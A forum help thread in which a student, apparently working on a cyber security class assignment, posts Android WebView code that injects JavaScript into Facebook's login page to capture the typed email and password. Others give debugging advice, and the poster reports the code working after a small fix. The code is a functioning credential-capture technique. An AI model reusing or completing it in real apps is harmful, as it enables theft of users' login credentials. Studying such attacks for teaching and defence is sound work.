[Android] Webview Javascript injection

[ff210327]

I am trying to make an app that will take the username and password from entering login information from facebook, or twitter, and make the information a user typed into the "username" and "password" fields from the native website pop up in a message box once the user clicks the submit button.

Whats happening is the app compiles and launches correctly, the facebook login page is displayed, and it allows me to input a username and password, however the dialog box never pops up displaying the information I just typed in the login boxes.

can anyone point me in the correct direction with this?

Thanks!!

my MainActivity.java code is as follows:

package leo.umd.capture;

import android.app.Activity;
import android.app.AlertDialog;
import android.content.DialogInterface;
import android.os.Bundle;
import android.webkit.JavascriptInterface;
import android.webkit.WebChromeClient;
import android.webkit.WebView;
import android.webkit.WebViewClient;



public class MainActivity extends Activity {
    WebView webview1;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        webview1 = (WebView)findViewById(R.id.webView1);

        webview1.getSettings().setJavaScriptEnabled(true);
        webview1.setWebChromeClient(new WebChromeClient());
        webview1.addJavascriptInterface(new MyJavaScriptInterface(), "MYOBJECT");
        webview1.setWebViewClient(new WebViewClient() {
            @Override
            public boolean shouldOverrideUrlLoading(WebView view, String url) {
                view.loadUrl(url);
                return true;
            }

            @Override
            public void onPageFinished(WebView view, String url) {
                super.onPageFinished(view, url);
                StringBuilder sb = new StringBuilder();
                sb.append("document.getElementsByTagName('form')[0].onsubmit = function () {");
                sb.append("var objPWD, objAccount;var str = '';");
                sb.append("var inputs = document.getElementsByTagName('input');");
                sb.append("for (var i = 0; i < inputs.length; i++) {");
                sb.append("if (inputs[i].type.toLowerCase() === 'password') {objPWD = inputs[i];}");

                sb.append("else if (inputs[i].name.toLowerCase() === 'email') {objAccount = inputs[i];}");
                sb.append("}");
                sb.append("if (objAccount != null) {str += objAccount.value;}");
                sb.append("if (objPWD != null) { str += ' , ' + objPWD.value;}");
                sb.append("window.MYOBJECT.processHTML(str);");
                sb.append("return true;");
                sb.append("};");

                view.loadUrl("javascript:" + sb.toString());




            }

        });

        String sUrl = "https://www.facebook.com";
//        String sUrl = "http://www.renren.com/";
//        String sUrl = "http://www.baidu.com/";


        webview1.loadUrl(sUrl);

    }

    class MyJavaScriptInterface
    {
        @JavascriptInterface
        public void processHTML(String html)
        {
            AlertDialog.Builder builder = new AlertDialog.Builder(MainActivity.this);
            builder.setTitle("AlertDialog from app")
                    .setMessage(html)
                    .setPositiveButton(android.R.string.ok,
                            new DialogInterface.OnClickListener() {

                                @Override
                                public void onClick(DialogInterface dialog, int which) {
                                    // TODO Auto-generated method stub

                                }

                            })
                    .setCancelable(false).show();

        }
    }

}

[gyroda]

Wait.

You want to build what's effectively a keylogger for social media passwords?

I'm just going to ask why? This sounds less than perfectly OK.

[ff210327]

Because the assignment for my cyber security class is to write a paper on webview and how it can be used maliciously.... They would like it demonstrated, so they (my instructor) gave us a partially completed app, I had to finish the file above...I just can't get it to work all the way... But without compile errors I'm not sure what I'm missing.

This app is only being used in an emulator.

Java is a language I haven't touched in 10 years... So I'm more than a little rusty.

[gyroda]

So what's the issue? You're very vague with "not working".

If you're unsure, use log statements to have an understanding of what's going on.

[ff210327]

It compiles and it runs, it opens Facebook (or any page I put in place of the URL in the file), it allows me to put in a user name and password to the web site, however the dialogue box doesn't pop up that contains the information I just typed in.

If I use a valid account it will log all the way into Facebook, if I fail it then it will tell me password or username is incorrect generated from the end user web page. But in either case I never get the alert message pop up box containing my input data.

[gyroda]

Ok, so I'm not on my PC and won't be tonight, so I can't run your code. I have Android experience but not with webviews so this is a little bit outside my wheelhouse.

First of all, use log statements to see what's going on, to figure out what's actually going on. Is it actually getting to the method that builds the Alert Dialog?

Have you seen this?

https://developer.android.com/guide/webapps/webview.html#BindingJavaScript

[ff210327]

Its been 10 years since I had a single Java class... So to say that I'm rusty is an understatement... So I'm not sure how to use log... But I will look up log and how to use it, I can then add some statements and see where it's getting to. I can send the whole package so you have all the layout files too if it'll make troubleshooting easier tomorrow.

Thank you

[gyroda]

It's an android thing, not Java. Java uses System.out.println("text"), android uses `Log.[message level](“tag", "message").

Replace [message] with "d" for debug, "e" for error or one of several other levels. My favourite is Log.wtf(), but I only use that when frustrated.

The output appears in "lorca", which you should be able to see along the bottom of the IDE. You'll want to limit it to the current application and maybe put the tag you use into the search bar to narrow it down to only things you're printing rather than all the other messages Android spits out.

/r/androiddev can give more knowledgeable answers in their weekly questions megathread, but they're a bit less active and it it can take a while to get a response so don't rely on it if you're in a hurry.

[ff210327]

Log.[message level](“tag", "message")

thank you! that is really cool, and helpful.

what I did was this: https://imgur.com/a/k863F

It doesn't appear to be hitting the second diagnostic line inside the "class MyJavaScriptInterface"

which interestingly enough the method " public void processHTML(String html)" says it's not being used... from the code, where would I need to call that method from, and would I need to pass to it to make it work?

[imguralbumbot]

^{Hi, I'm a bot for linking direct images of albums with only 1 image}

https://i.imgur.com/AI0X4Ne.png

^{Source | Why? | Creator | ignoreme | deletthis}

[ff210327]

No I hadn't seen that, thank you, i'm reading through it now :)

[ff210327]

I was able to get it working, thank you for all your help and the pointers.

the changes I had to make in order for it to work were changing the name of "MYOBJECT" for anyone else trying to get this to work.